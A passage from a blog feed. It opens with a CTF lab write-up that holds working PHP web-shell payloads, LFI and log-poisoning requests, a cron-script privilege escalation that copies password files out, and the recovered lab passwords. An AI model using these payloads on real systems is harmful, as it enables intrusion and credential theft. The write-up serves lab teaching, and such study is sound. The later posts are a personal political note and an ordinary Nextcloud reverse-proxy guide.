
    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    + + H3ll0 Fr1end + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/ + Sat, 02 May 2026 16:17:02 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/ + <p>Hello friends. I&rsquo;m back. It&rsquo;s been&hellip; let&rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I&rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it&rsquo;s shadow over the country for decades. It&rsquo;s funny how his father (I&rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people&rsquo;s lives, and then selling people&rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it&rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not &ldquo;own&rdquo; makes him the best candidate for exploitation. And he has shown this very well.</p> + Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

    +

    The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

    +

    It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

    +

    The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

    +

    Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

    +

    Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

    +

    Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

    +

    I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
    +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
    +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
    +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw
    +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+
    +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
    +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM
    +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS
    +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
    +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
    +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA=
    +=7md6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md.asc
    +gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
    +  
    +
    + + +]]>
    +
    + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
